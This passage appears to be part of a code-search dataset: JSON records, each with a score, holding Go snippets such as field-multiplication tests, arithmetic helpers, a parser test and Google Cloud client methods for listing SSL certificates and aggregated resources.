\"2dfc4bbe537afee979c644f8c97b31e58be5296d6dbc460091eae630c98511cf\",\n\t\texpected: \"da85f48da2dc371e223a1ae63bd30b7e7ee45ae9b189ac43ff357e9ef8cf107a\",\n\t}, {\n\t\tname: \"random sampling #3\",\n\t\tin1: \"5db64ed5afb71646c8b231585d5b2bf7e628590154e0854c4c29920b999ff351\",\n\t\tin2: \"279cfae5eea5d09ade8e6a7409182f9de40981bc31c84c3d3dfe1d933f152e9a\",\n\t\texpected: \"2c78fbae91792dd0b157abe3054920049b1879a7cc9d98cfda927d83be411b37\",\n\t}, {\n\t\tname: \"random sampling #4\",\n\t\tin1: \"b66dfc1f96820b07d2bdbd559c19319a3a73c97ceb7b3d662f4fe75ecb6819e6\",\n\t\tin2: \"bf774aba43e3e49eb63a6e18037d1118152568f1a3ac4ec8b89aeb6ff8008ae1\",\n\t\texpected: \"c4f016558ca8e950c21c3f7fc15f640293a979c7b01754ee7f8b3340d4902ebb\",\n\t}}\n\n\tfor _, test := range tests {\n\t\tf1 := new(FieldVal).SetHex(test.in1).Normalize()\n\t\tf2 := new(FieldVal).SetHex(test.in2).Normalize()\n\t\texpected := new(FieldVal).SetHex(test.expected).Normalize()\n\n\t\t// Ensure multiplying the two values with the result going to another\n\t\t// variable produces the expected result.\n\t\tresult := new(FieldVal).Mul2(f1, f2).Normalize()\n\t\tif !result.Equals(expected) {\n\t\t\tt.Errorf(\"%s: unexpected result\\ngot: %v\\nwant: %v\", test.name,\n\t\t\t\tresult, expected)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ensure multiplying the value to an existing field value produces the\n\t\t// expected result.\n\t\tf1.Mul(f2).Normalize()\n\t\tif !f1.Equals(expected) {\n\t\t\tt.Errorf(\"%s: unexpected result\\ngot: %v\\nwant: %v\", test.name,\n\t\t\t\tf1, expected)\n\t\t\tcontinue\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fdd97b7bddac02c2ef8b15a1af3cc7a8", "score": "0.4619955", "text": "func MulF(x, y float64) float64 {\n\treturn x * y\n}", "title": "" }, { "docid": "8bbb20cbfd3dec04b00f45cfa6ba31ab", "score": "0.46194154", "text": "func parseMultiplicativeExpression(p *Parser) (interface{}, error) {\n\treturn allOf(\n\t\tparseCastExpression,\n\t\tzeroOrMore(\n\t\t\tallOf(\n\t\t\t\tanyOf(\n\t\t\t\t\tmatches(tkStar),\n\t\t\t\t\tmatches(tkDiv),\n\t\t\t\t\tmatches(tkMod),\n\t\t\t\t),\n\t\t\t\tparseCastExpression,\n\t\t\t),\n\t\t),\n\t)(p)\n}", "title": "" }, { "docid": "f59cd63d279bd28060ef7b94412e0549", "score": "0.46187606", "text": "func Lldiv(numer, denom int64) LldivT {\n\treturn LldivT{\n\t\tQuot: numer / denom,\n\t\tRem: numer % denom,\n\t}\n}", "title": "" }, { "docid": "57fb035e3ff2cf1024c550c3c655037e", "score": "0.4618274", "text": "func multiplicacao(a, b int) int {\n\treturn a * b\n}", "title": "" }, { "docid": "854f8aa0ad5c44669d1b98bd1f2e7719", "score": "0.46159273", "text": "func Div64(hi, lo, y uint64) (quo, rem uint64) {}", "title": "" }, { "docid": "155abd64bdf0d57f58665303be06abda", "score": "0.46098632", "text": "func (t *Arith) Mul(ctx context.Context, args *api.Args, reply *api.Reply) error {\n\treply.C = args.A * args.B\n\treturn nil\n}", "title": "" }, { "docid": "7f4e2ada595c884045cb83b8bb9baaba", "score": "0.4608708", "text": "func TestParser_Term_Division(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\texpected := &ast.BinOp{\n\t\tLeft: &ast.Num{\n\t\t\tToken: token.Token{\n\t\t\t\tType: token.Int,\n\t\t\t\tLexeme: \"20\",\n\t\t\t},\n\t\t\tLexeme: \"20\",\n\t\t},\n\t\tOperator: token.Token{\n\t\t\tType: token.Div,\n\t\t\tLexeme: \"/\",\n\t\t},\n\t\tRight: &ast.Num{\n\t\t\tToken: token.Token{\n\t\t\t\tType: token.Int,\n\t\t\t\tLexeme: \"15\",\n\t\t\t},\n\t\t\tLexeme: \"15\",\n\t\t},\n\t}\n\n\tm := mock_scanner.NewMockScanner(ctrl)\n\tcurrentToken := token.Token{\n\t\tType: token.Int,\n\t\tLexeme: \"20\",\n\t}\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(currentToken)\n\n\tparser := parser.New(m)\n\n\tcurrentToken = token.Token{\n\t\tType: token.Div,\n\t\tLexeme: \"/\",\n\t}\n\n\t// Creating mock\n\tafter := m.EXPECT().Next().Return(currentToken)\n\n\tcurrentToken = token.Token{\n\t\tType: token.Int,\n\t\tLexeme: \"15\",\n\t}\n\n\tafter = m.\n\t\tEXPECT().\n\t\tNext().\n\t\tReturn(currentToken).After(after)\n\n\tcurrentToken = token.Token{\n\t\tType: token.EOF,\n\t\tLexeme: \"\",\n\t}\n\n\tm.\n\t\tEXPECT().\n\t\tNext().\n\t\tAnyTimes().\n\t\tReturn(currentToken)\n\n\texpression, err := parser.Expr()\n\tassert.Nil(t, err)\n\n\t// sanity check\n\toperation, ok := expression.(*ast.BinOp)\n\tassert.True(t, ok)\n\n\tassert.Equal(t, expected.Operator, operation.Operator)\n\tassert.Equal(t, expected.Right, operation.Right)\n\tassert.Equal(t, expected.Left, operation.Left)\n}", "title": "" }, { "docid": "1b254b6300db9af16e51a926614983ad", "score": "0.4603315", "text": "func (uint128 *uint128Imp) Mul(num2 UInt128) {\n\tvar AI, BI, R big.Int\n\tAI.SetBytes(uint128.ToBytes())\n\tBI.SetBytes(num2.ToBytes())\n\tR.Mul(&AI, &BI)\n\n\ttValue, _ := NewUInt128FromByteArray(R.Bytes())\n\tlo, hi := tValue.ToUInt64()\n\tuint128.hi = hi\n\tuint128.lo = lo\n}", "title": "" }, { "docid": "d42bfaf240db38f72f6169693c8cddab", "score": "0.45967188", "text": "func (p Vector) Div(b Tensor) Tensor {\n\treturn p.BO(div, b)\n}", "title": "" }, { "docid": "381cff2e93d554ec9027a09b4fa5c971", "score": "0.45964062", "text": "func MulMod(x, y, mod uint32) uint32 {\n\tresult := uint64(x) * uint64(y)\n\tmod64 := uint64(mod)\n\tif result >= mod64 {\n\t\tresult %= mod64\n\t}\n\treturn uint32(result)\n}", "title": "" }, { "docid": "8fa077e1cf6b19873ec35eae7700085d", "score": "0.45793945", "text": "func primefactor(numero uint) uint {\n\tvar i uint\n\tfor numero != 1 {\n\t\tfor i = 2; i < numero+1; i++ {\n\t\t\tif numero%i == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tnumero = numero / i\n\t}\n\treturn i\n}", "title": "" }, { "docid": "fca5f5b935f415e84f17455d237f70af", "score": "0.45748857", "text": "func Mul(z, x, y *Elt) { mul(z, x, y) }", "title": "" }, { "docid": "da8b72945b712c8de6976061fcf0c7a1", "score": "0.45738345", "text": "func termBytes(b []byte, w []float64, names []string) []byte {\n\tfirst := true\n\tfor i, v := range w {\n\t\tif v == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif !first {\n\t\t\tb = append(b, []byte(\" + \")...)\n\t\t} else {\n\t\t\tfirst = false\n\t\t}\n\t\tstr := strconv.FormatFloat(v, 'g', 16, 64)\n\t\tb = append(b, []byte(str)...)\n\t\tb = append(b, []byte(\" \")...)\n\t\tb = append(b, []byte(names[i])...)\n\t}\n\treturn b\n}", "title": "" } ]
e3ac2345d325dd00bc42bfa3a3c66d53
AggregatedList: Retrieves the list of all SslCertificate resources, regional and global, available to the specified project. project: Name of the project scoping this request.
[ { "docid": "c93a0840d485485e7f5b3391f3cc5973", "score": "0.61493", "text": "func (r *SslCertificatesService) AggregatedList(project string) *SslCertificatesAggregatedListCall {\n\tc := &SslCertificatesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" } ]
[ { "docid": "5d90420a186f6a1b872c3c3f13bcdaf7", "score": "0.5896412", "text": "func (r *SslPoliciesService) AggregatedList(project string) *SslPoliciesAggregatedListCall {\n\tc := &SslPoliciesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "c86484b980c16f6d2a0a704b0c27ad5e", "score": "0.56636715", "text": "func (r *RegionSslCertificatesService) List(project string, region string) *RegionSslCertificatesListCall {\n\tc := &RegionSslCertificatesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\tc.region = region\n\treturn c\n}", "title": "" }, { "docid": "a7a4c21f9224545c680804939dfd5852", "score": "0.56510234", "text": "func (r *FileApacheSSLCertBundleCertificatesResource) ListAll() (*FileApacheSSLCertBundleCertificatesConfigList, error) {\n\tvar list FileApacheSSLCertBundleCertificatesConfigList\n\tif err := r.c.ReadQuery(BasePath+FileApacheSSLCertBundleCertificatesEndpoint, &list); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &list, nil\n}", "title": "" }, { "docid": "12740c4797a4aed877f81877cec4dffc", "score": "0.5583219", "text": "func (r *ResourcePoliciesService) AggregatedList(project string) *ResourcePoliciesAggregatedListCall {\n\tc := &ResourcePoliciesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "7d4cded09ffcae8cf61f543f0378fc0f", "score": "0.5515447", "text": "func (c App) getProjectCerts(project *models.Project) []*models.Certificate {\n\tcerts, err := c.Txn.Select(models.Certificate{}, `select Certificate.* from Certificate, Project where Project.Id = ? and Certificate.ProjectId = Project.Id`, project.Id)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif len(certs) == 0 {\n\t\treturn nil\n\t}\n\tcerts_list := make([]*models.Certificate, len(certs), len(certs))\n\tfor i, cert := range certs {\n\t\tcerts_list[i] = cert.(*models.Certificate)\n\t}\n\treturn certs_list\n}", "title": "" }, { "docid": "174e112daac1307f913db81d23ce52d9", "score": "0.5505874", "text": "func getAllResources(hostProject string, service *compute.Service) []*projectResources {\n\tch := make(chan *projectResources)\n\tvar wg sync.WaitGroup\n\n\t// get list of service projects\n\tres, err := getServiceProjects(hostProject, service)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// goroutine for each project to get list of reserved IPs\n\tfor _, resource := range res.Resources {\n\t\tprojectID := resource.Id\n\t\twg.Add(1)\n\t\tgo func(projectID string) {\n\t\t\tdefer wg.Done()\n\t\t\tch <- getResources(projectID, service)\n\t\t}(projectID)\n\t}\n\n\t// wait for all goroutines to finish and close the channel\n\tgo func() {\n\t\twg.Wait()\n\t\tclose(ch)\n\t}()\n\n\t// gather all responses in output[]\n\tvar output []*projectResources\n\tfor s := range ch {\n\t\tif s != nil {\n\t\t\toutput = append(output, s)\n\t\t}\n\t}\n\n\treturn output\n}", "title": "" }, { "docid": "522a8abe8a4b1a08569efe41854b7abf", "score": "0.54925966", "text": "func (r *FileApacheSSLCertResource) ListAll() (*FileApacheSSLCertConfigList, error) {\n\tvar list FileApacheSSLCertConfigList\n\tif err := r.c.ReadQuery(BasePath+FileApacheSSLCertEndpoint, &list); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &list, nil\n}", "title": "" }, { "docid": "a8e12efb726c5d4d9e0c572652fa95f4", "score": "0.5485142", "text": "func (r *SecurityPoliciesService) AggregatedList(project string) *SecurityPoliciesAggregatedListCall {\n\tc := &SecurityPoliciesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "6b9a24dbf4f21d2540a17920cd570c87", "score": "0.543908", "text": "func (r *SslCertificatesService) List(project string) *SslCertificatesListCall {\n\tc := &SslCertificatesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "76873587a9f03f239d3630075fc6eacc", "score": "0.54301006", "text": "func (c App) getProjectsCSRs(projectId int) []*models.CertificateRequest {\n\tcsrs, err := c.Txn.Select(models.CertificateRequest{}, `select * from CertificateRequest where ProjectId = ? `, projectId)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif len(csrs) == 0 {\n\t\treturn nil\n\t}\n\tcsr_list := make([]*models.CertificateRequest, len(csrs), len(csrs))\n\tfor i, csr := range csrs {\n\t\tcsr_list[i] = csr.(*models.CertificateRequest)\n\t}\n\treturn csr_list\n}", "title": "" }, { "docid": "77ec23f79ce04d30bf9736aede24ea33", "score": "0.5353958", "text": "func (r *BackendServicesService) AggregatedList(project string) *BackendServicesAggregatedListCall {\n\tc := &BackendServicesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "4f0425dbe2b129863cca1e6bcdfbf301", "score": "0.5332914", "text": "func (r *FileSSLCertResource) ListAll() (*FileSSLCertConfigList, error) {\n\tvar list FileSSLCertConfigList\n\tif err := r.c.ReadQuery(BasePath+FileSSLCertEndpoint, &list); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &list, nil\n}", "title": "" }, { "docid": "56831f8898cadf7260325422b2f2c4db", "score": "0.5292829", "text": "func (r *ProjectsSubscriptionsService) List(project string) *ProjectsSubscriptionsListCall {\n\treturn &ProjectsSubscriptionsListCall{\n\t\ts: r.s,\n\t\tproject: project,\n\t\tcaller_: googleapi.JSONCall{},\n\t\tparams_: make(map[string][]string),\n\t\tpathTemplate_: \"{+project}/subscriptions\",\n\t\tcontext_: googleapi.NoContext,\n\t}\n}", "title": "" }, { "docid": "8265fef932c5563d4b5c75d7cd397707", "score": "0.5280451", "text": "func (r *TargetHttpsProxiesService) AggregatedList(project string) *TargetHttpsProxiesAggregatedListCall {\n\tc := &TargetHttpsProxiesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "47bd72cbe18eaf4d7cc924607b6b7021", "score": "0.5241353", "text": "func (c *Client) ListResourcesForProject(p string, filter string) (*Resources, error) {\n\tif err := c.checkRequiredAPIVersion(responses.ResourceCollectionResponse{}); err != nil {\n\t\treturn nil, err\n\t}\n\tls := &Resources{}\n\tdata, err := c.httpGet(\"project/\"+p+\"/resources?filter=\" + url.QueryEscape(filter), requestJSON(), requestExpects(200))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif jsonErr := json.Unmarshal(data, &ls); jsonErr != nil {\n\t\treturn nil, &UnmarshalError{msg: multierror.Append(errDecoding, jsonErr).Error()}\n\t}\n\treturn ls, nil\n}", "title": "" }, { "docid": "3c98db8241f74e731512eee9cc715b7c", "score": "0.52312654", "text": "func (r *SslCertsService) List(project string, instance string) *SslCertsListCall {\n\tc := &SslCertsListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\tc.instance = instance\n\treturn c\n}", "title": "" }, { "docid": "ae2dcc57fd0b8861b3214e2520f503bd", "score": "0.5190491", "text": "func (r *NetworkEdgeSecurityServicesService) AggregatedList(project string) *NetworkEdgeSecurityServicesAggregatedListCall {\n\tc := &NetworkEdgeSecurityServicesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "2ca42a8f714d8071a56ec93d8955c639", "score": "0.51827574", "text": "func (c App) getProjectCAs(project *models.Project) []*models.Certificate {\n\tcerts, err := c.Txn.Select(models.Certificate{}, `select Certificate.* from Certificate, Project where Project.Id = ? and Certificate.ProjectId = Project.Id and Certificate.CA = 1`, project.Id)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif len(certs) == 0 {\n\t\treturn nil\n\t}\n\tcerts_list := make([]*models.Certificate, len(certs), len(certs))\n\tfor i, cert := range certs {\n\t\tcerts_list[i] = cert.(*models.Certificate)\n\t}\n\treturn certs_list\n}", "title": "" }, { "docid": "74873557ebcd222542fa8762bb677abf", "score": "0.51793295", "text": "func (r *GlobalOperationsService) AggregatedList(project string) *GlobalOperationsAggregatedListCall {\n\tc := &GlobalOperationsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "0face3d8027e48d2fa61c530e483cc95", "score": "0.5157665", "text": "func (client AppServiceEnvironmentsClient) ListCapacities(ctx context.Context, resourceGroupName string, name string) (result StampCapacityCollectionPage, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/AppServiceEnvironmentsClient.ListCapacities\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.scc.Response.Response != nil {\n\t\t\t\tsc = result.scc.Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+[^\\.]$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"web.AppServiceEnvironmentsClient\", \"ListCapacities\", err.Error())\n\t}\n\n\tresult.fn = client.listCapacitiesNextResults\n\treq, err := client.ListCapacitiesPreparer(ctx, resourceGroupName, name)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppServiceEnvironmentsClient\", \"ListCapacities\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListCapacitiesSender(req)\n\tif err != nil {\n\t\tresult.scc.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"web.AppServiceEnvironmentsClient\", \"ListCapacities\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult.scc, err = client.ListCapacitiesResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppServiceEnvironmentsClient\", \"ListCapacities\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\tif result.scc.hasNextLink() && result.scc.IsEmpty() {\n\t\terr = result.NextWithContext(ctx)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "597162b33c6fdde785bf22cb5b0f5d39", "score": "0.5140627", "text": "func (r *FileSSLCSRResource) ListAll() (*FileSSLCSRConfigList, error) {\n\tvar list FileSSLCSRConfigList\n\tif err := r.c.ReadQuery(BasePath+FileSSLCSREndpoint, &list); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &list, nil\n}", "title": "" }, { "docid": "5676fce797f2847cdb169263d28b30ad", "score": "0.50826913", "text": "func (c App) getProjectCertTemplates(project *models.Project) []*models.CertificateTemplate {\n\ttemplates, err := c.Txn.Select(models.CertificateTemplate{}, `select CertificateTemplate.* from CertificateTemplate, Project where Project.Id = ? and CertificateTemplate.ProjectId = Project.Id`, project.Id)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif len(templates) == 0 {\n\t\treturn nil\n\t}\n\ttemplates_list := make([]*models.CertificateTemplate, len(templates), len(templates))\n\tfor i, template := range templates {\n\t\ttemplates_list[i] = template.(*models.CertificateTemplate)\n\t}\n\treturn templates_list\n}", "title": "" }, { "docid": "469f534ac865f03e58116f54f96963d2", "score": "0.50799006", "text": "func (r *SubnetworksService) AggregatedList(project string) *SubnetworksAggregatedListCall {\n\tc := &SubnetworksAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "4043ce87f2b3a3099b51c20bda946725", "score": "0.50728256", "text": "func (r *TargetHttpProxiesService) AggregatedList(project string) *TargetHttpProxiesAggregatedListCall {\n\tc := &TargetHttpProxiesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "6429b1a745e12bede52c2483065fe2ab", "score": "0.49925008", "text": "func (r *RoutersService) AggregatedList(project string) *RoutersAggregatedListCall {\n\tc := &RoutersAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "53babc23e2cc17f17b1615766e30e15e", "score": "0.49803165", "text": "func (r *PublicDelegatedPrefixesService) AggregatedList(project string) *PublicDelegatedPrefixesAggregatedListCall {\n\tc := &PublicDelegatedPrefixesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "1c91df5ff0ab34d2886ecba5f7fae1ae", "score": "0.497772", "text": "func (b *backend) pathCertificatesList(ctx context.Context, req *logical.Request, data *framework.FieldData) (*logical.Response, error) {\n\tb.configMutex.RLock()\n\tdefer b.configMutex.RUnlock()\n\n\tcerts, err := req.Storage.List(ctx, \"config/certificate/\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn logical.ListResponse(certs), nil\n}", "title": "" }, { "docid": "a813fd407ba4d87d8b1b1414d0941eac", "score": "0.49537385", "text": "func (r *TargetTcpProxiesService) AggregatedList(project string) *TargetTcpProxiesAggregatedListCall {\n\tc := &TargetTcpProxiesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "87375389f1e7c68d0b96d723acef4c39", "score": "0.4952845", "text": "func (r *RegionCommitmentsService) AggregatedList(project string) *RegionCommitmentsAggregatedListCall {\n\tc := &RegionCommitmentsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "a7716a3b070a101c0f0db675d891b4fe", "score": "0.4932506", "text": "func (r *VpnTunnelsService) AggregatedList(project string) *VpnTunnelsAggregatedListCall {\n\tc := &VpnTunnelsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "36a2cc663c408d06e49538f03c00358d", "score": "0.4931329", "text": "func (r *UrlMapsService) AggregatedList(project string) *UrlMapsAggregatedListCall {\n\tc := &UrlMapsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "82adcdb139f9f2fde21b8cc4f2fde876", "score": "0.49282697", "text": "func (client AppsClient) ListPublicCertificates(ctx context.Context, resourceGroupName string, name string) (result PublicCertificateCollectionPage, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/AppsClient.ListPublicCertificates\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.pcc.Response.Response != nil {\n\t\t\t\tsc = result.pcc.Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: resourceGroupName,\n\t\t\tConstraints: []validation.Constraint{{Target: \"resourceGroupName\", Name: validation.MaxLength, Rule: 90, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.MinLength, Rule: 1, Chain: nil},\n\t\t\t\t{Target: \"resourceGroupName\", Name: validation.Pattern, Rule: `^[-\\w\\._\\(\\)]+[^\\.]$`, Chain: nil}}}}); err != nil {\n\t\treturn result, validation.NewError(\"web.AppsClient\", \"ListPublicCertificates\", err.Error())\n\t}\n\n\tresult.fn = client.listPublicCertificatesNextResults\n\treq, err := client.ListPublicCertificatesPreparer(ctx, resourceGroupName, name)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListPublicCertificates\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListPublicCertificatesSender(req)\n\tif err != nil {\n\t\tresult.pcc.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListPublicCertificates\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult.pcc, err = client.ListPublicCertificatesResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"web.AppsClient\", \"ListPublicCertificates\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\tif result.pcc.hasNextLink() && result.pcc.IsEmpty() {\n\t\terr = result.NextWithContext(ctx)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "547612fd9efb108596cab522d3e49ee1", "score": "0.49258247", "text": "func (r *LicensesService) List(project string) *LicensesListCall {\n\tc := &LicensesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "4bcd8dd05d9a9f92415d00fb07294006", "score": "0.49221072", "text": "func (r *AddressesService) AggregatedList(project string) *AddressesAggregatedListCall {\n\tc := &AddressesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "6d028958e948bb1d131f8bef04b4e306", "score": "0.48823482", "text": "func (r *AutoscalersService) AggregatedList(project string) *AutoscalersAggregatedListCall {\n\tc := &AutoscalersAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "a3c3440d184e3753f73c8ee46be27c32", "score": "0.48776516", "text": "func (r *HealthChecksService) AggregatedList(project string) *HealthChecksAggregatedListCall {\n\tc := &HealthChecksAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "68f1efe49731489af9fce26f9b9a08e6", "score": "0.48710826", "text": "func (r *NodeTemplatesService) AggregatedList(project string) *NodeTemplatesAggregatedListCall {\n\tc := &NodeTemplatesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "505cccda9b30c012ba46c22857199b08", "score": "0.4862551", "text": "func (o Avi) GetAllSslKeyAndCertificate() (r []*models.SSLKeyAndCertificate, err error) {\r\n\turi := \"api/sslkeyandcertificate\"\r\n\tcollection := new(SSLKeyAndCertificateCollection)\r\n\terr = o.Client.AviSession.Get(uri, &collection)\r\n\tif err != nil {\r\n\t\treturn\r\n\t}\r\n\tr = append(r, collection.Results...)\r\n\tnext := collection.Next\r\n\ti := 1\r\n\tfor next != \"\" {\r\n\t\ti = i + 1\r\n\t\tnextCollection := new(SSLKeyAndCertificateCollection)\r\n\t\terr = o.Client.AviSession.Get(uri+\"?page=\"+strconv.Itoa(i), &nextCollection)\r\n\t\tif err != nil {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tr = append(r, nextCollection.Results...)\r\n\t\tnext = nextCollection.Next\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "2fe3983ebb3c3e98a41981dd63cf6d9b", "score": "0.48622066", "text": "func (r *ServiceAttachmentsService) AggregatedList(project string) *ServiceAttachmentsAggregatedListCall {\n\tc := &ServiceAttachmentsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "b951ee04f9566ded64df31a29a0da13d", "score": "0.48614952", "text": "func (r *ReservationsService) AggregatedList(project string) *ReservationsAggregatedListCall {\n\tc := &ReservationsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "e2115754c6c30005975048667ee20402", "score": "0.48505133", "text": "func (r *ForwardingRulesService) AggregatedList(project string) *ForwardingRulesAggregatedListCall {\n\tc := &ForwardingRulesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "d935e584d178e8c18463575529935bac", "score": "0.4849624", "text": "func (r *RegionSslPoliciesService) List(project string, region string) *RegionSslPoliciesListCall {\n\tc := &RegionSslPoliciesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\tc.region = region\n\treturn c\n}", "title": "" }, { "docid": "2e0d3f760d81032c420983fd8fd56640", "score": "0.48087806", "text": "func (s *SSHKeyServiceOp) ProjectList(projectID string) ([]SSHKey, *Response, error) {\n\treturn s.list(fmt.Sprintf(\"%s/%s%s\", projectBasePath, projectID, sshKeyBasePath))\n\n}", "title": "" }, { "docid": "66080c489d0d8b08f6f35a56f4d5ba50", "score": "0.47990796", "text": "func (r *DisksService) AggregatedList(project string) *DisksAggregatedListCall {\n\tc := &DisksAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "03a499aaa61cd2d434ff5477c31b2f7b", "score": "0.47947893", "text": "func (r *InstanceTemplatesService) AggregatedList(project string) *InstanceTemplatesAggregatedListCall {\n\tc := &InstanceTemplatesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "c286635101d078b0c3f4c72768555073", "score": "0.47851986", "text": "func (r *GCPReader) ListSSLCertificates(ctx context.Context, filter string) ([]compute.SslCertificate, error) {\n\tservice := compute.NewSslCertificatesService(r.compute)\n\n\tresources := make([]compute.SslCertificate, 0)\n\n\terr := service.List(r.project).\n\t\tFilter(filter).\n\t\tMaxResults(int64(r.maxResults)).\n\t\tPages(ctx, func(list *compute.SslCertificateList) error {\n\t\t\tfor _, res := range list.Items {\n\t\t\t\tresources = append(resources, *res)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to list compute SslCertificate from google APIs\")\n\t}\n\n\treturn resources, 